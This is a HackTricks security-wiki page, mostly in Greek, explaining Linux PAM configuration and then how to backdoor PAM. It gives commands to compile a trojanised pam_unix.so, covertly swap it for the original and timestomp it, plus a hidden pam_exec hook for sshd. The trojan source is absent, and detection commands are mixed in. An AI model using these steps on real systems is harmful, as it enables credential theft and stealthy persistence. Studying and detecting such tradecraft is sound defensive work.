PAM - Pluggable Authentication Modules

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

• Ελέγξτε τα σχέδια συνδρομής!
• Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
• Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.

Βασικές Πληροφορίες

PAM (Pluggable Authentication Modules) λειτουργεί ως μηχανισμός ασφαλείας που επαληθεύει την ταυτότητα των χρηστών που επιχειρούν να αποκτήσουν πρόσβαση σε υπηρεσίες υπολογιστή, ελέγχοντας την πρόσβασή τους με βάση διάφορα κριτήρια. Είναι σαν ένας ψηφιακός φύλακας πύλης, διασφαλίζοντας ότι μόνο εξουσιοδοτημένοι χρήστες μπορούν να χρησιμοποιούν συγκεκριμένες υπηρεσίες ενώ ενδεχομένως περιορίζει τη χρήση τους για να αποτρέψει την υπερφόρτωση του συστήματος.

Αρχεία Διαμόρφωσης

• Solaris and UNIX-based systems συνήθως χρησιμοποιούν ένα κεντρικό αρχείο ρυθμίσεων που βρίσκεται στο /etc/pam.conf.
• Linux systems προτιμούν μία προσέγγιση με κατάλογο, αποθηκεύοντας ρυθμίσεις ανά υπηρεσία στο /etc/pam.d. Για παράδειγμα, το αρχείο ρυθμίσεων για την υπηρεσία login βρίσκεται στο /etc/pam.d/login.

Ένα παράδειγμα ρυθμίσεων PAM για την υπηρεσία login μπορεί να μοιάζει έτσι:

auth required /lib/security/pam_securetty.so
auth required /lib/security/pam_nologin.so
auth sufficient /lib/security/pam_ldap.so
auth required /lib/security/pam_unix_auth.so try_first_pass
account sufficient /lib/security/pam_ldap.so
account required /lib/security/pam_unix_acct.so
password required /lib/security/pam_cracklib.so
password required /lib/security/pam_ldap.so
password required /lib/security/pam_pwdb.so use_first_pass
session required /lib/security/pam_unix_session.so

PAM Περιοχές Διαχείρισης

Αυτές οι περιοχές, ή ομάδες διαχείρισης, περιλαμβάνουν auth, account, password, και session, η κάθε μία υπεύθυνη για διαφορετικές πτυχές της διαδικασίας επαλήθευσης ταυτότητας και διαχείρισης συνεδρίας:

• Auth: Επαληθεύει την ταυτότητα του χρήστη, συχνά ζητώντας κωδικό πρόσβασης.
• Account: Χειρίζεται την επαλήθευση του λογαριασμού, ελέγχοντας προϋποθέσεις όπως ιδιότητα μέλους ομάδας ή περιορισμούς ανά ώρα της ημέρας.
• Password: Διαχειρίζεται ενημερώσεις κωδικών, περιλαμβάνοντας ελέγχους πολυπλοκότητας ή πρόληψη επιθέσεων λεξικού.
• Session: Διαχειρίζεται ενέργειες κατά την έναρξη ή λήξη μιας συνεδρίας υπηρεσίας, όπως η προσάρτηση καταλόγων ή ο καθορισμός ορίων πόρων.

PAM Module Controls

Οι έλεγχοι καθορίζουν την αντίδραση της module σε επιτυχία ή αποτυχία, επηρεάζοντας τη συνολική διαδικασία επαλήθευσης. Αυτοί περιλαμβάνουν:

• Required: Η αποτυχία μιας Required module έχει ως αποτέλεσμα τελική αποτυχία, αλλά μόνο αφού ελεγχθούν όλες οι επόμενες modules.
• Requisite: Άμεση διακοπή της διαδικασίας σε περίπτωση αποτυχίας.
• Sufficient: Η επιτυχία παρακάμπτει τους υπόλοιπους ελέγχους της ίδιας περιοχής, εκτός αν κάποια μετέπειτα module αποτύχει.
• Optional: Προκαλεί αποτυχία μόνο αν είναι η μόνη module στη στοίβα.

Example Scenario

Σε μια ρύθμιση με πολλαπλές auth modules, η διαδικασία ακολουθεί αυστηρή σειρά. Αν το pam_securetty module βρει ότι το τερματικό σύνδεσης δεν είναι εξουσιοδοτημένο, οι root συνδέσεις μπλοκάρονται, ωστόσο όλες οι modules εξακολουθούν να εκτελούνται λόγω της “required” κατάστασής του. Το pam_env ορίζει μεταβλητές περιβάλλοντος, βελτιώνοντας ενδεχομένως την εμπειρία χρήστη. Τα pam_ldap και pam_unix modules συνεργάζονται για να επαληθεύσουν τον χρήστη, με το pam_unix να προσπαθεί να χρησιμοποιήσει έναν προηγουμένως δοθέντα κωδικό, αυξάνοντας την αποδοτικότητα και την ευελιξία στις μεθόδους επαλήθευσης.

Backdooring PAM – Hooking pam_unix.so

Ένα κλασικό persistence trick σε περιβάλλοντα Linux υψηλής αξίας είναι να αντικαταστήσετε τη νόμιμη βιβλιοθήκη PAM με ένα trojanised drop-in. Επειδή κάθε SSH / console login καλεί τελικά pam_unix.so:pam_sm_authenticate(), λίγες γραμμές σε C αρκούν για να καταγράψουν διαπιστευτήρια ή να υλοποιήσουν ένα magic password bypass.

Cheatsheet Μεταγλώττισης

</details>

Μεταγλωττίστε και αντικαταστήστε κρυφά:
```bash
gcc -fPIC -shared -o pam_unix.so trojan_pam.c -ldl -lpam
mv /lib/security/pam_unix.so /lib/security/pam_unix.so.bak
mv pam_unix.so /lib/security/pam_unix.so
chmod 644 /lib/security/pam_unix.so     # keep original perms
touch -r /bin/ls /lib/security/pam_unix.so  # timestomp

# 1) Spot alien PAM objects
find /{lib,usr/lib,usr/local/lib}{,64}/security -type f -printf '%p %s %M %u:%g %TY-%Tm-%Td\n' | grep -E 'pam_|libselinux'

# 2) Verify package integrity
command -v rpm >/dev/null && rpm -V pam || debsums -s libpam-modules

# 3) Identify non-packaged PAM modules
for f in /{lib,usr/lib,usr/local/lib}{,64}/security/*.so; do
dpkg -S "$f" >/dev/null 2>&1 || echo "UNPACKAGED: $f";
done

# 4) Look for stealth config edits
grep -R "pam_.*\.so" /etc/pam.d/ | grep -E 'plg|selinux|custom|exec'

# Prepend to /etc/pam.d/sshd
session optional pam_exec.so quiet /usr/local/bin/.ssh_hook.sh